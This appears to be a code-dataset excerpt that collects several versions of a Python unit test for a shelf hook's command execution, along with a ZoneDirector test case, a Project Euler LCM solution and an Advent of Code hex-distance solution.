format(data['uri']), 'SHELF_META_URI={0}'.format(data['meta_uri'])]
return ', '.join(l)
def test_success(self):
data = self.create_data('./tests/bin/hook-test', Event.
ARTIFACT_UPLOADED)
result = action.execute_command(**data)
self.assertTrue(result)
expected_result = {'stdout': self.create_stdout(data), 'stderr':
'STDERR', 'exit_code': 0}
self.logger.debug.assert_called_with('Command Result: {0}'.format(
json.dumps(expected_result, indent=4)))
def test_failure(self):
data = self.create_data('./tests/bin/hook-test', 'fail')
result = action.execute_command(**data)
self.assertFalse(result)
expected_result = {'stdout': self.create_stdout(data), 'stderr':
'STDERR', 'exit_code': 1}
self.logger.debug.assert_called_with('Command Result: {0}'.format(
json.dumps(expected_result, indent=4)))
| <mask token>
class ExecuteCommandTest(TestBase):
def setUp(self):
super(ExecuteCommandTest, self).setUp()
self.cwd = os.path.join(os.path.dirname(__file__), '../../..')
self.logger = Mock()
MonkeyPatcher.patch(action, 'create_background_logger', Mock(
return_value=self.logger))
def create_data(self, command, event):
data = {'command': command, 'log_level': logging.DEBUG, 'event':
event, 'uri': 'https://api.shelf.com/fake/artifact/1',
'meta_uri': 'https://api.shelf.com/fake/artifact/1/_meta',
'cwd': self.cwd}
return data
def create_stdout(self, data):
l = ['SHELF_EVENT={0}'.format(data['event']), 'SHELF_URI={0}'.
format(data['uri']), 'SHELF_META_URI={0}'.format(data['meta_uri'])]
return ', '.join(l)
def test_success(self):
data = self.create_data('./tests/bin/hook-test', Event.
ARTIFACT_UPLOADED)
result = action.execute_command(**data)
self.assertTrue(result)
expected_result = {'stdout': self.create_stdout(data), 'stderr':
'STDERR', 'exit_code': 0}
self.logger.debug.assert_called_with('Command Result: {0}'.format(
json.dumps(expected_result, indent=4)))
def test_failure(self):
data = self.create_data('./tests/bin/hook-test', 'fail')
result = action.execute_command(**data)
self.assertFalse(result)
expected_result = {'stdout': self.create_stdout(data), 'stderr':
'STDERR', 'exit_code': 1}
self.logger.debug.assert_called_with('Command Result: {0}'.format(
json.dumps(expected_result, indent=4)))
| from mock import Mock
from shelf.hook.background import action
from shelf.hook.event import Event
from tests.test_base import TestBase
import json
import os
import logging
from pyproctor import MonkeyPatcher
class ExecuteCommandTest(TestBase):
def setUp(self):
super(ExecuteCommandTest, self).setUp()
self.cwd = os.path.join(os.path.dirname(__file__), '../../..')
self.logger = Mock()
MonkeyPatcher.patch(action, 'create_background_logger', Mock(
return_value=self.logger))
def create_data(self, command, event):
data = {'command': command, 'log_level': logging.DEBUG, 'event':
event, 'uri': 'https://api.shelf.com/fake/artifact/1',
'meta_uri': 'https://api.shelf.com/fake/artifact/1/_meta',
'cwd': self.cwd}
return data
def create_stdout(self, data):
l = ['SHELF_EVENT={0}'.format(data['event']), 'SHELF_URI={0}'.
format(data['uri']), 'SHELF_META_URI={0}'.format(data['meta_uri'])]
return ', '.join(l)
def test_success(self):
data = self.create_data('./tests/bin/hook-test', Event.
ARTIFACT_UPLOADED)
result = action.execute_command(**data)
self.assertTrue(result)
expected_result = {'stdout': self.create_stdout(data), 'stderr':
'STDERR', 'exit_code': 0}
self.logger.debug.assert_called_with('Command Result: {0}'.format(
json.dumps(expected_result, indent=4)))
def test_failure(self):
data = self.create_data('./tests/bin/hook-test', 'fail')
result = action.execute_command(**data)
self.assertFalse(result)
expected_result = {'stdout': self.create_stdout(data), 'stderr':
'STDERR', 'exit_code': 1}
self.logger.debug.assert_called_with('Command Result: {0}'.format(
json.dumps(expected_result, indent=4)))
| from mock import Mock
from shelf.hook.background import action
from shelf.hook.event import Event
from tests.test_base import TestBase
import json
import os
import logging
from pyproctor import MonkeyPatcher
class ExecuteCommandTest(TestBase):
def setUp(self):
super(ExecuteCommandTest, self).setUp()
self.cwd = os.path.join(os.path.dirname(__file__), "../../..")
self.logger = Mock()
MonkeyPatcher.patch(action, "create_background_logger", Mock(return_value=self.logger))
def create_data(self, command, event):
data = {
"command": command,
"log_level": logging.DEBUG,
"event": event,
"uri": "https://api.shelf.com/fake/artifact/1",
"meta_uri": "https://api.shelf.com/fake/artifact/1/_meta",
"cwd": self.cwd
}
return data
def create_stdout(self, data):
l = [
"SHELF_EVENT={0}".format(data["event"]),
"SHELF_URI={0}".format(data["uri"]),
"SHELF_META_URI={0}".format(data["meta_uri"])
]
return ", ".join(l)
def test_success(self):
data = self.create_data("./tests/bin/hook-test", Event.ARTIFACT_UPLOADED)
result = action.execute_command(**data)
self.assertTrue(result)
expected_result = {
"stdout": self.create_stdout(data),
"stderr": "STDERR",
"exit_code": 0
}
self.logger.debug.assert_called_with("Command Result: {0}".format(json.dumps(expected_result, indent=4)))
def test_failure(self):
data = self.create_data("./tests/bin/hook-test", "fail")
result = action.execute_command(**data)
self.assertFalse(result)
expected_result = {
"stdout": self.create_stdout(data),
"stderr": "STDERR",
"exit_code": 1
}
self.logger.debug.assert_called_with("Command Result: {0}".format(json.dumps(expected_result, indent=4)))
| [
4,
5,
6,
7,
8
] |
9,997 | 25288a6dd0552d59f8c305bb8edbbbed5d464d5b | # Copyright (C) 2011 Ruckus Wireless, Inc. All rights reserved.
# Please make sure the following module docstring is accurate since it will be used in report generation.
"""
Description:
@author: Chris Wang
@contact: [email protected]
@since: Aug-09, 2010
Prerequisite (Assumptions about the state of the test bed/DUT):
1. Build under test is loaded on the Station
Required components: 'Station'
Test parameters:
- zd_tag: zd tag. Will get zd components via zd tag in self.testbed.components.
Test procedure:
1. Config:
- initialize test parameters
2. Test:
- Get limited ZD discovery settings.
3. Cleanup:
- N/A
Result type: PASS/FAIL
Results: PASS: Get limited ZD discovery settings correctly.
Messages: If FAIL the test script returns a message related to the criterion that is not satisfied
"""
import logging
from RuckusAutoTest.models import Test
from RuckusAutoTest.components.lib.zd import access_points_zd as lib
class CB_ZD_Get_Primary_Secondary_ZD(Test):
required_components = ['ZoneDirector']
parameters_description = {'zd_tag': "zd tag. Will get zd components via zd tag in self.testbed.components",
}
'''
Test case for automation.
'''
def config(self, conf):
self._init_test_params(conf)
self._retrive_carrier_bag()
def test(self):
try:
logging.info("Get limited ZD discovery settings via ZD")
self.zd_discovery_cfg = lib.get_limited_zd_discovery_cfg(self.zd)
logging.info("Limited ZD discovery cfg: %s" % self.zd_discovery_cfg)
except Exception, e:
self.errmsg = "Fail to get limited ZD discovery: %s" % e.message
if self.errmsg:
logging.debug(self.errmsg)
return self.returnResult("FAIL", self.errmsg)
else:
self._update_carrier_bag()
self.passmsg = "Get limited ZD discovery correctly: %s" % (self.zd_discovery_cfg)
return self.returnResult("PASS", self.passmsg)
def cleanup(self):
pass
def _retrive_carrier_bag(self):
pass
def _update_carrier_bag(self):
self.carrierbag['gui_zd_discovery_cfg'] = self.zd_discovery_cfg
def _init_test_params(self, conf):
self.conf = dict(zd_tag = '')
self.conf.update(conf)
zd_tag = self.conf.pop('zd_tag')
if zd_tag:
self.zd = self.carrierbag[zd_tag]
else:
self.zd = self.testbed.components['ZoneDirector']
self.errmsg = ''
self.passmsg = '' | null | null | null | null | [
0
] |
9,998 | 0f0ded26e115b954a5ef698b03271ddf2b947334 | '''
PROBLEM N. 5:
2520 is the smallest number that can be divided by each of the numbers from 1 to 10 without any remainder.
What is the smallest positive number that is evenly divisible by all of the numbers from 1 to 20?
'''
'''
Greatest common divisior using the Euclidean Algorithm, vide http://en.wikipedia.org/wiki/Euclidean_algorithm
'''
def gcd(a, b):
if a == b:
return a
if a == 0:
return b
if b == 0:
return a
if a > b:
remainder = a%b
return gcd(remainder, b)
if b > a:
remainder = b%a
return gcd(remainder, a)
'''
Lowest common denominator, using:
lcd(a,b) = |a*b|/gcd(a,b)
'''
def lcd(a, b):
return a*b/gcd(a,b)
print reduce(lcd, range(1,21)) | null | null | null | null | [
0
] |
9,999 | ac2e9145e3345e5448683d684b69d2356e3214ce | <mask token>
| <mask token>
def dist(counts):
n = abs(counts['n'] - counts['s'])
nw = abs(counts['nw'] - counts['se'])
ne = abs(counts['ne'] - counts['sw'])
return n + max(ne, nw)
<mask token>
| <mask token>
def dist(counts):
n = abs(counts['n'] - counts['s'])
nw = abs(counts['nw'] - counts['se'])
ne = abs(counts['ne'] - counts['sw'])
return n + max(ne, nw)
if __name__ == '__main__':
counts = defaultdict(int)
with open('day11.input.txt') as f:
INPUT = f.read().strip()
dir_list = INPUT.split(',')
for dir in dir_list:
counts[dir] += 1
print(dist(counts))
counts = defaultdict(int)
with open('day11.input.txt') as f:
INPUT = f.read().strip()
dir_list = INPUT.split(',')
max_d = -1
for dir in dir_list:
counts[dir] += 1
max_d = max(max_d, dist(counts))
print('max=', max_d)
| from collections import defaultdict
def dist(counts):
n = abs(counts['n'] - counts['s'])
nw = abs(counts['nw'] - counts['se'])
ne = abs(counts['ne'] - counts['sw'])
return n + max(ne, nw)
if __name__ == '__main__':
counts = defaultdict(int)
with open('day11.input.txt') as f:
INPUT = f.read().strip()
dir_list = INPUT.split(',')
for dir in dir_list:
counts[dir] += 1
print(dist(counts))
counts = defaultdict(int)
with open('day11.input.txt') as f:
INPUT = f.read().strip()
dir_list = INPUT.split(',')
max_d = -1
for dir in dir_list:
counts[dir] += 1
max_d = max(max_d, dist(counts))
print('max=', max_d)
| from collections import defaultdict
# The order of the steps doesn't matter, so the distance
# function is very simple
def dist(counts):
n = abs(counts["n"] - counts["s"])
nw = abs(counts["nw"] - counts["se"])
ne = abs(counts["ne"] - counts["sw"])
return n + max(ne,nw)
if __name__ == "__main__":
counts = defaultdict(int)
with open("day11.input.txt") as f:
INPUT = f.read().strip()
dir_list = INPUT.split(",")
# The order of the steps doesn't matter so we just need
# to count each type of step
for dir in dir_list:
counts[dir] += 1
print(dist(counts))
counts = defaultdict(int)
with open("day11.input.txt") as f:
INPUT = f.read().strip()
dir_list = INPUT.split(",")
# print(dir_list)
max_d = -1
for dir in dir_list:
# Keep running counts and check for distance at every
# step to find max
counts[dir] += 1
max_d = max(max_d,dist(counts))
print("max=", max_d)
| [
0,
1,
2,
3,
4
] |
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